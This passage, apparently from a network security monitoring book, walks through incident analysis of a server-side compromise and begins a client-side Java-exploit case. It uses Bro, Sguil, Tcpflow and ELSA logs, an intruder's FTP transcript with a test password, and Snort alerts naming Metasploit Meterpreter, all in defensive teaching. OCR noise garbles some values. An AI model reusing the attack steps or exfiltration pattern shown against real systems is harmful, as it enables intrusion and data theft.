sovm-eth1 5.1362880986000002... 2013-03-10 02:03:06 2013-03-10 02:03:06  203.0.113.4 20 192.168.3.5 33012 6 587 18792 639 
sovm-eth1 5.1362880991000002... 2013-03-10 02:03:11 2013-03-1002:03:11 —203.0.113.4 20 192.168.3.5 56377 6 4 769 3 
sovm-eth1 5.1362959491000006... 2013-03-10 23:51:31 2013-03-1023:51:37 192.168.3.5 1099 203.0.113.10 35347 6 6 192 0 vi 








Figure 10-11: Session data for 192.168.3.5 


We've seen some of this activity in earlier results, but our focus here 
is 192.168.3.5, not 203.0.113.10. The most interesting new records involve 
two new IP addresses in the 203.0.113.0/24 net block: 203.0.113.77 and 
203.0.113.4. These two IP addresses appear in the session records begin- 
ning at 2013-03-10 01:59:43. Apparently, our original intruder is either 
cooperating with colleagues or he controls those systems! 

Irecommend creating at least notional diagrams of systems involved in 
NSM when trying to understand the scope of an incident. You will not iden- 
tify all of the infrastructure between victim systems and remote attackers, 
but depicting them visually can help you better recognize what is happening 
in real-world cases. Figure 10-12 summarizes our current understanding of 
all of the systems involved in this case. 


Exploring the Session Data 


Let's consider the new sessions unearthed by querying the victim IP address 
to determine the scope of the incident, bearing in mind this simple rule: 
The only constant in an intrusion is the victim. Intruders may try to obfus- 
cate their activities by changing attacking systems, hopping from attacking 
platform to attacking platform; incident responders who fixate on attacker 
IP addresses will miss these jumps. Keep the victim in mind, and you won't 
be fooled. 


224 Chapter 10 


Intruder 1 


203.0.113.10 








Intruder 2 Intruder 3 


203.0.113.77 | 203.0.1 u-—. 





Server 


192.168.3.5 


Desktop 
192.168.3.13 


Figure 10-12: Systems observed in this case 


Notice in Figure 10-11 that we start with the three DNS queries made 
by 192.168.3.5 beginning with 2013-03-09 21:40:35. We could use the Sguil 
console to try to generate Wireshark output for each session in order to see 
the queries and replies, but instead, we'll refer to DNS logs captured by Bro, 
stored in the /nsm/bro/logs/2013-03-09 directory. As you'll see, the Bro logs 
are a form of transaction data and metadata. 


Searching Bro DNS Logs 


There are many ways to search Bro DNS logs for specific entries. One simple 
way is from the command line, as shown in Listing 10-12. 





$ zcat dns.21\:31\:10-22\:00\:00.log.gz | bro-cut -d | grep 192.168.3.5 | 
grep -v WORKGROUP 


-- snip -- 

2013-03-09T21:40:3540000 k3hPbe4s2H2 192.168.3.50 60307 
192.168.3.1 53 udp 40264 2.3.168.192.in-addr.arpa® 1 
C INTERNET 12 PTRO - - F F T F 
0 am, 

2013-03-09T21:47:08+0000 iizTu4rfvvk 192.168.3.50 36911 
192.168.3.1 53 udp 62798 | www.google.comO 1 

C INTERNET 1 A - - F F T F 
0 E - 

2013-03-09T21:47:18+0000 H5Wjg7kxo2d 192.168.3.50 49467 
192.168.3.1 53 udp 32005  www.google.com.localdomain9 1 
C INTERNET 1 A - - F F T Ẹ 
0 as 





Listing 10-12: DNS records logged by Bro 
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First, we use zcat, because the Bro log is gzip-compressed. Next, we pipe 
the result into bro-cut with the -d switch, which converts Bro's native Unix 
epoch time format into a human-readable version. We then grep for the IP 
address of the victim, 192.168.3.5, followed by a grep to ignore (using the -v 
switch) any records containing WORKGROUP. Bro's log contains DNS queries and 
replies, as well as logs of NetBIOS name service traffic, which we remove 
with bro-cut -d. By default, that syntax omits the headers for these records. 

As you can see in Listing 10-12, 192.168.3.5 @ queried for a PTR record 6 
for 2.3.168.192.in-addr.arpa ®, which is probably not related to the intrusion. 
Then seven minutes later, the system @ 6 queried for www.google.com © and 
www.google.com.localdomain 9. These last two DNS queries correspond to 
the intruder's attempt to ping www.google.com. Seeing the header in Bro logs 
can help us better understand them. One way to see header data is to avoid 
piping the output through bro-cut. Instead, limit the output using the head 
command, as shown in Listing 10-13. 





$ zcat dns.21\:31\:10-22\:00\:00.log.gz | head 
#separator \x09 

#set_separator , 

#empty_field (empty) 

#unset_field - 

#path dns 

Hopen ^ 2013-03-09-21-31-10 


#fields ts uid id.orig h id.orig p id.resp h 

id.resp p proto trans id query  qclass qclass name qtype 
qtype name rcode | rcode name AA TC RD RA Z 
answers TTLs 


#types time string addr port addr port enum count string 
count string count string count string bool bool bool bool 
count vector[string] vector[interval] 





Listing 10-13: Fields and datatypes in the Bro DNS log 


Searching Bro SSH Logs 


Following the three DNS entries, Figure 10-11 shows 203.0.113.77 pinging 
192.168.3.5 via IP protocol 0, ICMP. This is the first traffic we’ve seen from 
203.0.113.77. 

The next record shows traffic from 203.0.113.77 to port 22 TCP on 
192.168.3.5. This is likely SSH traffic, which we can confirm by looking at full 
content data or by checking a few Bro logs. For example, in the 2013-05-10 
directory, we see the entry shown in Listing 10-14 in ssh.log. (Note that in 
order to see the headers for the fields, we omit using bro-cut, as we did for 
Listing 10-13.) The listing shows the entire log since it contains only one 
entry of interest. 


$ zcat ssh.02\:03\:29-03\:00\:00.log.gz | bro-cut -d 
2013-03-10T02:01:10+0000 8zAB2nsjjYd 203.0.113.770 65438 
192.168.3.50 22 success INBOUND SSH-2.0-OpenSSH 5.8p2 hpni3vii 
FreeBSD-20110503 SSH-2.0-OpenSSH 4.7p1 Debian-8ubuntu1 16678 AU 





Listing 10-14: SSH connection logged by Bro 


Listing 10-14 shows 203.0.113.77 € connected via SSH to 192.168.3.5 @. 
To understand the rest of the fields, we need to know the headers for the 
logfile. Listing 10-15 shows the headers in a Bro SSH log followed by the 
same SSH record for 203.0.113.77 connecting to 192.168.3.5. 





$ zcat ssh.02V:03V:29-03V:00V:00.10g.gz 
#separator \x09 

#set_separator , 

Hempty field (empty) 

#unset_field - 

#path ssh 

H#open | 2013-03-10-02-03-29 


#fields ts uid id.orig h id.orig p id.resp h 

id.resp p status direction client server resp size 

remote location.country code remote location.region remote location.city 
remote location.latitude remote location.longitude 


#types time string addr port addr port string enum string 
string count string string string double double 


1362880870.544761 8zAB2nsjjYd 203.0.113.77 65438 
192.168.3.5 22 success INBOUND SSH-2.0-OpenSSH_5.8p2_hpn13v11 
FreeBSD-20110503@ SSH-2.0-OpenSSH 4.7p1 Debian-8ubuntu1@ 16678 AU 


#close 2013-03-10-03-00-00 





Listing 10-15: SSH connection logged by Bro, with headers 


The client and server fields are the most interesting. The client is listed 
as SSH-2.0-OpenSSH_5.8p2_hpn13v11 FreeBSD-20110503 ®, and the server is 
SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntui O. While you can easily identify the 
server version of SSH because you own the system, the information that the 
client (the intruder) runs FreeBSD may be interesting. Knowing the exact 
version of OpenSSH on the client (again, the intruder) may also help you to 
attribute the attack or to correlate it with other incident data. 

Unfortunately, the contents of the SSH session are encrypted, meaning 
that you can’t decipher them using network-centric means. If the system 
had a host-centric tool like OSSEC installed, you might have had data avail- 
able from the local system for inspection, but the session records show the 
SSH session beginning at 2013-03-10 02:01:10 and terminating at 02:03:24. 
Can we tell what the intruder did in this encrypted session? The last few ses- 
sion records help answer that question. 
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Searching Bro FTP Logs 

At 2013-03-10 02:02:50 in Figure 10-11, we see an outbound FTP session 
from 192.168.3.5 to 203.0.113.4. If this is truly an FTP session, we should be 
able to build a transcript to see the contents. We can also quickly check the 
Bro FTP log, as shown in Listing 10-16. 





$ zcat ftp.02V:03V:11-03V:00V:00.1og.gz 
#separator \x09 

#set_separator , 

#empty_field (empty) 

#unset_field - 

#path — ftpe 

Hopen ^ 2013-03-10-02-03-11 


#fields ts uid id.orig h id.orig p id.resp h 
id.resp p user password command arg mime type mime - 
desc file size reply code reply msg tags 


extraction file 


#types time string addr port addr port string string string 
string string string count count string table[string] file 


1362880986.113638 FVmgK1dp005 192.168.3.50 32904 

203.0.113.40 21 Orr «hidden» STOR ftp://203.0.113.4/./ 
mysql-ssl.tar.gz® application/x-gzip gzip compressed data, from 

FAT filesystem (MS-DOS, OS/2, NT) - 226 Transfer complete. 


#close 2013-03-10-03-00-00 





Listing 10-16: Bro FTP log 


Here, we see that someone successfully transferred a file titled 
mysql-ssl.tar.gz € via FTP @ from 192.168.3.5 6 to 203.0.113.4 ©. The 
transcript shows a little more information, as shown in Listing 10-17. 


Sensor Name: sovm-eth1 

Timestamp: 2013-03-10 02:02:50 

Connection ID: .sovm-eth1_1362880970000002980 

Src IP: 192.168.3.5 (Unknown) 

Dst IP: 203.0.113.4 (Unknown) 

Src Port: 32904 

Dst Port: 21 

OS Fingerprint: 192.168.3.5:32904 - Linux 2.6 (newer, 1) (up: 5 hrs) 
OS Fingerprint: -> 203.0.113.4:21 (distance 0, link: ethernet/modem) 


DST: 220 freebsdvm® FTP server (Version 6.00LS) ready. 
DST: 

SRC: USER orr® 

SRC: 

DST: 331 Password required for orr. 

DST: 

SRC: PASS bobby® 


SRC: 

DST: 230 User orr logged in. 

DST: 

SRC: SYST 

SRC: 

DST: 215 UNIX Type: L8 Version: BSD-1995060 
DST: 

SRC: TYPE I 

SRC: 

DST: 200 Type set to I. 

DST: 

SRC: PORT 192,168,3,5,128,244 

SRC: 

DST: 200 PORT command successful. 

DST: 

SRC: STOR mysql-ssl.tar.gz 

SRC: 

DST: 150 Opening BINARY mode data connection for 'mysql-ssl.tar.gz'. 
DST: 





Listing 10-17: Transcript of intruder FTP command channel to 203.0.113.4 


I like this guy. His password is bobby €, and his username is orr @. This 
FTP server is running on a system that identifies itself as freebsdvm ®, with 
UNIX Type L8 Version: BSD-199506 O. Again, we could use this information to 
possibly link this case with others, if appropriate. 

We don't know what the intruder did to acquire the contents of this file. 
Can we determine what's in it? 


Decoding the Theft of Sensitive Data 


In fact, we can retrieve the mysql-ssl.tar.gz archive by virtue of the full con- 
tent data collection performed by our NSM platform. We'll derive extracted 
content data from full content data using the tool that Sguil uses to rebuild 
transcripts, called Tcpflow (Attps://github.com/simsong/tcpflow). Jeremy Elson 
wrote the first version of Tcpflow, but in recent years Simson Garfinkel has 
assumed responsibility for the project. 

Tcpflow reconstructs TCP sessions. For example, in Listing 10-18, we 
tell Tcpflow to rebuild all TCP sessions involving port 20, the TCP port used 
for the active FTP data channel shown in the session records. 





$ tcpflow -r /nsm/sensor data/sovm-ethi1/dailylogs/2013-03-10/snort.10g.1362873602 port 200 
$ 1s6 

192.168.003.005.33012-203.000.113.004.000200  203.000.113.004.00020-192.168.003.005.563770 
report.xml® 


$ file *O 

192.168.003.005.33012-203.000.113.004.000200: gzip compressed data, from Unix, last modified: 
Sun Mar 10 02:02:23 2013 

203 .000.113.004.00020-192.168.003.005.56377@: ASCII text, with CRLF line terminators 
report.xml: XML document text 
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$ cat 203.000. 


113.004.00020-192.168.003.005.56377 


total 1936 

drwxr-xr-x 2 orr orr 512 Mar 9 21:03 . 

drwxr-xr-x 4 root wheel 512 Mar 9 20:47 .. 

-IW-I--Y-- 1 Orr orr 1016 Mar 9 20:47 .cshrc 
-IW-YI--Y-- 1 orr orr 254 Mar 9 20:47 .login 
-IW-I--I-- 1 orr orr 165 Mar 9 20:47 .login conf 
-IW------- 1 orr orr 381 Mar 9 20:47 .mail_aliases 
-IW-I--Y-- 1 orr orr 338 Mar 9 20:47 .mailrc 
-IW-I--Y-- 1 orr orr 750 Mar 9 20:47 .profile 
-IW------- 1 0rr orr 283 Mar 9 20:47 .rhosts 
-IW-I--Y-- 1 Orr  orr 980 Mar 9 20:47 .shrc 
-IW-I--I-- 1 Orr orr 915349 Mar 9 21:03 mysql-ssl.tar.gzO 





Listing 10-18: Tepflow reconstruction of sessions involving port 20 
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Listing 10-18 first shows how to run Tcpflow against an interesting trace, 
with a BPF limiting reconstruction to traffic involving port 20 6. Next, we 
see the output of the Tcpflow reconstruction in the form of a directory list- 
ing @. The output shows two sides of the network session, in the form of two 
files, © and O, and a report.xml file © describing what Tcpflow did. Next, we 
use the file 9 command to show the type of each of those files. 


Extracting the Stolen Archive 


The file 192.168.003.005.33012-203.000.113.004.00020 @ is a gzip archive 
transferred during the FTP session. The file 203.000.113.004.00020-192 
.168.003.005.56377 © is an ASCII text file, corresponding to a directory list- 
ing returned from the FTP server to the client 192.168.3.5. This directory 
listing was transferred after the intruder copied mysql-ssl.tar.gz to the server. 
This confirms the successful transfer of mysql-ssl.tar.gz ©, because that file 
is now listed and stored on an FTP server controlled by the intruder. This 
could be bad news for Vivian's Pets, if that file is a sensitive archive. 

Thanks to capturing full content data, we also have a copy of mysql-ssl 
.tar.gz at our disposal. The gzip archive represented by file 192.168.003.005 
.33012-203.000.113.004.00020 @ is likely the mysql-ssl.tar.gz file stolen by the 
intruder. We extract it using the tar program, as shown in Listing 10-19. As 
you can see, it appears to contain the keys associated with a MySQL server. 





$ tar -xzvf 192.168.003.005.33012-203.000.113.004.00020 
mysql-ssl/ 

mysql-ssl/yassl-1.9.8.zip 

mysql-ssl/my.cnf 

mysql-ssl/mysqld.gdb 

mysql-ssl/mysql-keys/ 
mysql-ssl/mysql-keys/server-cert.pem 
mysql-ssl/mysql-keys/ca-cert.pem 
mysql-ssl/mysql-keys/client-req.pem 
mysql-ssl/mysql-keys/server-key.pem 


mysql-ssl/mysql-keys/server-req.pem 
mysql-ssl/mysql-keys/client-key.pem 
mysql-ssl/mysql-keys/client-cert.pem 
mysql-ssl/mysql-keys/ca-key.pem 





Listing 10-19: Contents of the mysql-ssl.tar.gz archive stolen by the intruder 


With this data in hand, the Vivian’s Pets CIRT must summarize what 
has happened in order to fully understand the intrusion. 


Stepping Back 


At this point in the NSM process, the CIRT should consider what it under- 
stands about the intrusion before making recommendations to business 
owners. Using illustrations to depict what has happened at each stage is a 
helpful analytical step. 


Summarizing Stage 1 


Figure 10-13 summarizes the first few phases of this intrusion, which we can 
call stage 1. 


1. Intruder conducts reconnaissance against two potential victims. 


NETWORK SCANNING Victim 1 
Intruder Pe A 192.168.3.5 
203.0.113.10 T" 
192.168.3.13 
2. Intrud loits vsftpd i ictim 1. 
ntruder exploits vsftpd service on Victim Victim 1 
NETWORK CONNECTION 192.168.3.5 
Intruder 1 Jassumarsnuamsneuumuauumuanmsuuanmsauuanmsaumansumansuuanuusensusenauemsaneusanencsaneo p 
203.0.113.10 
Exploited 
3. Intruder connects to backdoor on Victim 1. 
NETWORK CONNECTION 
nula Ew - Victim 1 
203.0.113.10 192.168.3.5 
4. Intruder fails to exploit vsftpd service on Victim 2. 
NETWORK CONNECTION Victim 2 
— 192.168.3.13 


SO DTI — SEPHHNSIUSNUHERCSPOSESPUSSNSTOUUSUSSESUSTOY = (ete) 


Figure 10-13: Stage 1 of server-side compromise 
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In stage 1, the intruder at 203.0.113.10 conducted network reconnais- 
sance against two computers: 192.168.3.5 and 192.168.3.13. The intruder 
found port 21 TCP listening on both systems, so he attempted to compro- 
mise that service on both targets. He successfully compromised the vsftpd 
server on 192.168.3.5, causing a backdoor to open on port 6200 TCP on 
that system. He was not able to use the same technique to gain unauthor- 
ized access to 192.168.3.13. 


Summarizing Stage 2 


Figure 10-14 summarizes the remainder of this intrusion, called stage 2. 


5. Intruder 2 connects via SSH to Victim 1. 


SSH CONNECTION 


Intruder 2 Victim 1 
203.0.113.77 192.168.3.5 


6. Intruder 2 instructs Victim 1 to upload 
stolen data to FTP server on Intruder 3. 


SSH CONNECTION 


nu E" »- 
203.0.113.77 Vi ] 
ictim 
FTP CONNECTION 192.168.3.5 
Intruder 3 cR 
203.0.113.4 


Figure 10-14: Stage 2 of server-side compromise 


In stage 2, a new intruder IP address, 203.0.113.77, connects via SSH to 
192.168.3.5. While interacting with the victim, the intruder created or dis- 
covered an archive titled mysql-ssl.tar.gz. He then uploaded that archive via 
FTP to a third system, 203.0.113.4, which may be another FreeBSD system. 


Next Steps 


As explained in Chapter 9, escalation and resolution are the two phases fol- 
lowing the collection and analysis phases of the NSM workflow. With analy- 
sis complete, the CIRT must identify the owners of the affected systems, 
and explain the nature of the data identified as being stolen. In turn, the 
asset owner must evaluate the impact of the loss of data and simultaneously 
authorize the CIRT to take short-term incident containment measures. The 
most effective containment mechanism involves removing the compromised 
systems from the network. 

First, disconnect 192.168.3.5 from the network. We should consider 
it untrustworthy because we don't know what the intruder did during 
his encrypted OpenSSH session. The CIRT should also determine if any 
information on 192.168.3.5 is sensitive, to help decide whether this event 
qualifies as a Breach 2 or Breach 1 incident. The differentiation lies in the 
importance and sensitivity of the stolen data. 


The CIRT should determine if any information taken from 192.168.3.5 
could lead to other intrusions. Are there any accounts that could also be 
used to log in to other Vivian's Pets systems? Are there configuration files 
that would enable additional access? Are any business partners or custom- 
ers at risk? Involving the business, legal, and other teams may become 
necessary as the CIRT evaluates the impact of the intrusion. Ultimately, 
192.168.3.5 should be retired because it is no longer a trustworthy plat- 
form. This could be a hard lesson for the IT and security staff: When the 
Metasploitable developers warn users to keep their distribution off the 
Internet, they mean it! 


Conclusion 


This chapter walked through a server-side compromise. We utilized several 
forms of NSM data to analyze an intrusion targeting two systems in the 
Vivian's Pets test network. By examining alert, session, full content, transac- 
tion, and extracted content data, we learned that an intruder stole system 
information and a compressed archive associated with MySOL. 

We also learned that NSM data can't answer every question by itself. 
Once the intruder leveraged stolen credentials (via the /etc/passwd and /etc/ 
shadow files) to connect via OpenSSH, we couldn't see the commands he ran, 
although we could see derivative actions like uploading an archive via FTP. 

Using an NSM tool bundled with Sguil, we rebuilt the stolen archive, 
although we could have done the same sort of reassembly using Wireshark 
or another tool. 

This case introduced the idea of patterns of attack and how to analyze 
them using NSM tools and methods. In the next chapter, we'll turn the 
tables slightly and review a client-side compromise. 
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CLIENT-SIDE COMPROMISE 


In the previous chapter's examples, 
an intruder conducted reconnaissance 





against remote targets, identified services, 
and attacked them. After gaining access to 

one system with a vulnerable service, the intruder 

archived files of interest and exfiltrated them to a 

remote server. All of this activity took place without 

the explicit involvement of a user on the Vivian's Pets 

network. 


This chapter demonstrates a client-side compromise—one of the other 
major categories of malicious network activity you are likely to encounter. 
Although this incident involves remote systems, the intruder does not initiate 
the attack in the same manner as in a server-side compromise. We will use 
similar NSM methodologies to detect and respond to the intrusion. 


Client-side Compromise Defined 


Client-side compromise involves an intruder exploiting an application with 
which a user interacts. This application could be a web browser, email client, 
media player, or any other program that users rely on for access to network 
resources. An attacker might trick a user into visiting a compromised site 
and revealing her credentials, or he might simply position himself to take 
advantage of a routine that the user follows. 

Client-side attacks have been popular since the mid-2000s, when attack- 
ers realized that if they could convince a user application to execute (or be 
subject to) malicious code, their attacks would be more likely to succeed. 
Many organizations devote resources and expertise to countering server-side 
attacks, but client-side attacks are much more difficult to stop or even detect. 
Figure 11-1 shows a generic attack pattern for a client-side compromise. 


1. Victim executes malicious code on 
system, after being solicited by intruder 
or by innocent computer use. 


PHISHING EMAIL 


Intruder: -—----------------------- Ls Victim 


OR 


Website hosting 


malicious code ^ "7770700700077 Victim 
OR 

Malicious:code SOCIAL MEDIA OR OTHER COMMUNICATION 

on social media + - - - - - ----------------- = Victim 


or other site 


2. Attack method exploits vulnerable application 


on victim system to execute code or commands, Exploited 
or run an unwanted malicious application. 
NETWORK CONNECTION 
Intruder e nennen nennen enn nne nnnnn nnn nennen tnn nnn nenne ntn nnnn nennen nennen Victim 


3. Malicious code causes victim to reach back to intruder 
Figure 11-1: Client-side compromise attack pattern 
As you can see in Figure 11-1, three of the most popular clientside attacks 


involve phishing email, visiting websites, and interacting with social media. 
How is this possible? 
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In all three attacks, an intruder creates an unsafe communication of 
some type. With a phishing email message, perhaps the intruder attaches a 
malicious executable, such as a document designed to exploit a vulnerable 
application like Microsoft Word or Adobe Reader. Phishing email messages 
or social media may also contain links to malicious websites operated by the 
intruder specifically to perform attacks. The target site could also be a com- 
pletely legitimate one, such as a news or sports page, where an attacker has 
inserted malicious code that compromises those who visit the site. 

The latest variants of these attacks are called watering hole or strategic web- 
site compromise attacks. An intruder compromises a website that she expects 
her targets to visit, such as a human rights or think tank site. When interested 
parties visit the site, malicious code attacks them without their knowledge. 
These attacks are fairly devastating because they are not tightly targeted 
(the intruder can't be sure that her intended prey will visit the website), 
but they can be very stealthy because victims surfing the Web normally are 
unwittingly caught in this trap. 

Client-side attacks can result in the same levels of access as server-side 
attacks (discussed in Chapter 10). An attempt to exploit a vulnerable appli- 
cation, regardless of whether it succeeds, is a Cat 3 incident. If the attack 
succeeds and the intruder achieves user-evel access, the scenario now quali- 
fies as a Cat 2 intrusion. If the intruder gains administrator- or root-level 
privileges, we must deal with a Cat 1 intrusion. Once the intruder estab- 
lishes a command-and-control channel, it's Breach 3. And if the intruder 
begins stealing data or taking other actions, we could be dealing with a 
Breach 2 or even a Breach 1 intrusion. (See Figure 9-5 on page 194 for 
intrusion category definitions.) Whatever the category, the goal of the CIRT 
is, as always, to quickly determine the extent of the incident and to take 
rapid actions to contain the attack and mitigate risk of data loss, alteration, 
or degradation. 


Client-side Compromise in Action 


For this chapter's example, we'll look at a client-side compromise that takes 
place on the Vivian's Pets network but involves different computers. To 
make the situation slightly more complicated, the activity in question will 
be monitored by an NSM sensor watching two segments. This is a configu- 
ration supported by SO and it seems like a good choice when the hardware 
in question can support the additional load. We'll see if that decision is jus- 
tified! The network appears as shown in Figure 11-2. 

With this sensor configuration, the NSM platform will see traffic both 
to and from the wireless network and the internal network. (I've completely 
simulated the network here in order to include the NAT issues discussed 
eailier in the book, but they do not play a major role.) 
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Figure 11-2: Wireless and internal network segments on Vivian's Pets network 


Getting the Incident Report from a User 


One afternoon the Vivian's Pets CIRT receives a call from a concerned user. 
She reports logging in to Twitter and searching for messages to her user- 
name. She noticed a tweet from an unfamiliar username, Callbackpnsm, and 
the message was a little unsettling. The unknown tweet mentioned “updates 
to our health care plan" and provided a link to a site with healthcarenews in 
the URL. Curious, she copied and pasted the URL into her Firefox web 
browser to take a look. Figure 11-3 shows the suspicious tweet. 


Tweets Top / All/ People you follow 


Callbackpnsm ©Callbackpnsn 1m 
@ubu32pnsm Have you seen the updates to our health care plan? 
All the news is here! Mus MIAKA Om GER EST itu eons) 

Expand 





Figure 11-3: Tweet from Callbackpnsm 


When an unknown or suspicious Twitter user sends a link to an un- 
recognized website, most security analysts become nervous. At this point, 
the Vivian's Pets CIRT suspects that the unfortunate user has fallen for a 


client-side attack. The CIRT asks if the user recalls seeing anything suspi- 
cious after visiting the URL. The user replies that she saw something about 
a Java installation, and when she clicked through to learn about the health 
care update, all she saw was a blank page. 

The user became worried that something was wrong, so she decided 
to turn to the CIRT to get some help. The CIRT thanks the user for her 
report. It's time to start investigating! 


Starting Analysis with ELSA 


One way to begin the analysis process is to query logs for the IP address in 
the tweet. We'll start with ELSA. 


Querying for the IP Address 


First, we'll make sure that the ELSA query time frame begins before the user 
experienced the odd activity, and then we'll add the IP address in question, 
203.0.113.15, to the search bar. The results are shown in Figure 11-4. 

















ELSA- | Admin v 1 node(s) with 8750.0 logs indexed and 17518.0 archived 
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From [2013-03-14 18:33:24 To | | Add Term v | | Report On ~ | | Index + | (© Reuse current tab © Grid display 
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Records: 100 / 244 203 ms ? fist <prev 1/2/3/4/|5/|6|Z| next> last»» [15 v 
| „Timestamp S, Fields 
[1:2014561:2] ET CURRENT_EVENTS landing page with malicious Java applet [Classification: Potentially Bad Traffic] [Priority: 2]: 
Sat Mar 16 {TCP} 203.0.113.15:8080 -> 172.16.0.37:60320 
Info c ost=127.0.0.1 program=snort class=SNORT sig_priority=2 proto=TCP srcip=ZOSIOMESMS «rcport- 8080 dstip-172.16.0.37 dstport=60320 
Eua sig sid-21:2014561:2 sig msg-ET CURRENT EVENTS landing page with malicious Java applet sig classification-Potentially Bad Traffic 
interface= 
[1:2014297:19] ET POLICY Vulnerable Java Version 1.7.x Detected [Classification: Potentially Bad Traffic] [Priority: 2]: {TCP} 
Info Sat Mar 16 172.16.0.37:60321 -> 203.0.113.15:8080 
T? 14:16:53 host=127.0.0.1 program=snort class=SNORT sig_priority=2 proto=TCP srcip=172.16.0.37 srcport=60321 dstip-2030M135 dstport=8080 
S :2014297:19 sig_msg=ET POLICY Vulnerable Java Version 1.7.x Detected si cation=Potentially Bad Traffic interface 
[1:2014297:19] ET POLICY Vulnerable Java Version 1.7.x Detected [Classification: Potentially Bad Traffic] [Priority: 2]: {TCP} 
Info Sat Mar 16 172.16.0.37:60321 -> 203.0.113.15:8080 
7 | 14:16:53 host=127.0.0.1 program=snort class=SNORT sig priorityz2 proto=TCP sicip=172.16.0.37 srcport- 60321 dstip- BOSIOUTISHIS dstport=8080 
sig sid21:2014297:19 sig msg-ET POLICY Vulnerable Java Version 1.7.x Detected sig cla: ationzPotentially Bad Traffic int 
[1:2014561:2] ET CURRENT EVENTS landing page with malicious Java applet [Classification: Potentially Bad Traffic] [Priority: 2]: 
Sat Mar 16 {TCP} 203.0.113.15:8080 -> 172.16.0.37:60321 
Info 14:16:53 host=127.0.0.1 program=snort S=SNORT sig priorityz2 proto=TCP srcip-208:0:113.15 srcport=8080 dstip=172.16.0.37 dstport=60321 
LER sig_sid=1:2014561:2 sig msgzET CURRENT EVENTS landing page with malicious Java applet sig_classification=Potentially Bad Traffic 
interface 
[1:2015657:1] ET CURRENT EVENTS Oday JRE 17 metasploit Exploit Class [Classification: A Network Trojan was detected] [Priority: 1]: 
Sat Mar 16 {TCP} 203.0.113.15:8080 -> 172.16.0.37:60322 
Info v ol host=127.0.0.1 program=snort class=SNORT sig_priority=1 proto=TCP srcip=QOSIOMESMS srcport=8080 dstip=172.16.0.37 dstport=60322 
Aree sig_sid=1:2015657:1 sig msg-ET CURRENT. EVENTS Oday JRE 17 metasploit Exploit Class sig classificationzA Network Trojan was 
detected interfacez +] 








Figure 11-4: Initial ELSA query results for 203.0.113.15 


ELSA tells us that it has 244 records, but, by default, it limits itself to 
100 results. The oldest entry appears first. The results are not encourag- 
ing, with mentions of malicious Java applet and Vulnerable Java Version 
1.7.x Detected. Seeing Oday JRE 17 metasploit Exploit Class is even worse. 
Thankfully, we do now have the victim’s IP address: 172.16.0.37. Rather 
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than scroll through multiple pages of output, we select the program element 
near the top of the screen to see a summary count of all data sources ELSA 
possesses for this IP address. Figure 11-5 shows the result. 








203.0.113.15 (244). X 203.0.113.15 (247) [Grouped by program] EE 


Result Options... v 


snort 


bro http 
bro conn 
Save Chart As... 








Figure 11-5: ELSA displays data sources for logs for 203.0.113.15. 


As you can see, Snort alerts dominate the results, although there are 
two HTTP records and one Bro connection log record. 


Checking the Bro HTTP Log 
Clicking the Pro Attp link provides the results shown in Figure 11-6. 


Records: 2 | 2 64 ms ? i t [15 vj 





Timestamp 2. Fields 





1363443412.560069|jP3tgbrWLui|172.16.0.37|60321|203.0.113.15|8080)1|GET|203.0.113.15|/healthcarenews/Exploit.jar.pack.gz|-|Mozilla/4.0 
(Linux 3.5.0-25-generic) Javal1.7.0_06|0|0|302|Moved|-|-|-|(empty)|-|-[-1-I-I- 
host=127.0.0.1 program=bro_http class=BRO_HTTP srcip=172.16.0.37 srcport=60321 dstip=203.0.113.15 dstport-8080 status code-302 

ntent lengthz0 method=GET site=203.0.113.15 uri=/healthcarenews/Exploit.jar.pack.gz refererz- user_agent=Mozilla/4.0 (Linux 3.5.0-25- 
generic) Java/1.7.0_06 


1363443412.722747|jP3tgbrWLui]172.16.0.37|60321|203.0.113.15|8080|2|GET|203.0.113.15|/healthcarenews/|-|Mozilla/4.0 (Linux 3.5.0-25- 
Sat Mar 16 generic) Java/1.7.0 06/0120|200|OK]-|-l-(empty)]-|-]-Itext/htmi]-|- 
14:16:58 host=127.0.0.1 program-bro http class-BRO HTTP srcip=172.16.0.37 sicport=60321 dstip=203.0.113.15 dstport=8080 status 


Sat Mar 16 
14:16:58 











ode=200 
ntent_length=120 method=GET site- 2080.13.15 uri-/healthcarenews/ referer=- user_agent=Mozilla/4.0 (Linux 3.5.0-25-generic) Java/1.7.0 06 























Figure 11-6: ELSA displays Bro HTTP log records for 203.0.113.15. 


These two events bear the same timestamp in ELSA, but the Bro time- 
stamp shows that the top request happened first. That seems a little odd, 
given that it's a request for healthcarenews/Exploit.jar.bach.gz. The second 
record, with a later timestamp, is for the healthcarenews page itself. 

Seeing a download for content titled Exploit.jar.pack.gz doesn't inspire 
confidence. We need to find out what else happened to this victim system. 


Checking Snort Alerts 


Returning to the first open tab in ELSA, we notice the szg msg link. Clicking 
this link creates a new tab with a summary count of each of the Snort alerts 
associated with 203.0.113.15, as shown in Figure 11-7. 

The summary of observed Snort signatures includes references to the 
Metasploit Meterpreter, including the core channel and stdapi, with Command 
Request and Command Response for each. This is not encouraging either. 
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Metasploit (hitp://www.metasploit.com/) is an open source reconnaissance 
and exploitation framework created by HD Moore and now supported by 
Rapid7 and a team of developers. The Meterpreter is a Metasploit payload, 
code used by an attacker after initially gaining access to a target using an 
exploit delivered by another Metasploit module. Terms like core channel and 
stdapi refer to functions and features in the Metasploit suite, and Command 
Request and Command Response indicate communication between the attacker's 
system and the victim. 


203.0.113.15 (250) [Grouped by sig msg] | x | Po 


Result Options... v | 





Value 





ET TROJAN Metasploit Meterpreter core_channel_* Command Request 





ET TROJAN Metasploit Meterpreter core_channel_* Command Response 
ET TROJAN Metasploit Meterpreter stdapi_* Command Request 

ET TROJAN Metasploit Meterpreter stdapi * Command Response 

ET INFO JAVA - Java Archive Download By Vulnerable Client 

ET CURRENT EVENTS Oday JRE 17 metasploit Payload Class 

ET CURRENT EVENTS Oday JRE 17 metasploit Exploit Class 

ET POLICY Vulnerable Java Version 1.7.x Detected 


ET CURRENT EVENTS landing page with malicious Java applet 
Save Chart As... 


























Figure 11-7: ELSA displays a summary of Snort signatures for 203.0.113.15. 


The intruder appears to have gained the ability to execute code on the 
victim via a Java exploit. 


Searching for Other Activity 


Next, we need to determine if this intruder interacted with any other systems. 
To accomplish that task, we return to the first tab with all the information for 
203.0.113.15 and click the srcip link. ELSA tells us that only 203.0.113.15 and 
172.16.0.37 have records associated with 203.0.113.15, but for good measure, 
we also click the dstip link and get the same results. That means we probably 
have a handle on all activity involving 203.0.113.15—that IP address did not 
communicate with any other system we watch. 

